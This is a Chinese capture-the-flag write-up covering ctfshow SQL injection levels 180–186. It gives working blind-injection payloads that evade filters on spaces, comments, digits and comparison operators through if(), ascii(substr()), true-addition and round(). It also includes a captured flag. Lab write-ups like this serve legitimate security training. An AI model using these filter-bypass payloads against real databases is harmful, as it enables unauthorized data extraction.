ctfshow刷题记录
web入门180:
这处过滤了#,/**/,%00,%a0,– ,空格,
注释都过滤了,还有空格。
我们可以构造 a’or(id>?)||’1’=’0 来达到目的。
第一个引号闭合之前的,不能用空格就用(),其中||是或的意思,但是我查了好久,网上说是连接符。
这样就可以达到闭合后面的 ‘ ,因为有limit 1所以要一个一个尝试,尝试一下23发现有flag.
flag{1f9a4c19-c8ab-4319-923d-6febe6199368}
web入门181:
和180一样,
web入门182:
和180一样,
web入门183:
不过你可以改43到127为flag的穷举形式,我难得改了。
web入门184:
构造playload:tableName=ctfshow_user a join ctfshow_user b on if(b.id>23,if(a.id>23,if(ascii(substr(b.pass,1,1))>102,1,0),0),0)
取别名a,b然后发现and or被禁用了,但是我们可以用if语句达到相同的效果。
web入门185:
他把数字禁掉了,就很过分。但是我们也有办法,就是用true和false代替,我不知道其他大佬是怎么写的,我感觉我的方法有一点low。把payload对应的数换成对应的true相加。
web入门186:
他把大于号,小于号禁用了,但是我们可以用round(x/2y)来判断x和y 是否相等,其实不用round也行,这个是四舍五入,于是人为的比较了大小。一下是payload
payload = {‘tableName’: ‘’’ctfshow_user a join ctfshow_user b on if(round(b.id/%s),if(round(a.id/%s),if(round(ascii(substr(b.pass,%s,true))/%s),true,false),false),false)’’’ % (‘(‘+’true+’*44+’true)’,’(‘+’true+’*44+’true)’, ‘(‘+’true+’*(j-1)+’true)’, ‘(‘+’true+’*(2*i-1)+’true)’)}
得到flag
记得结果要i-1.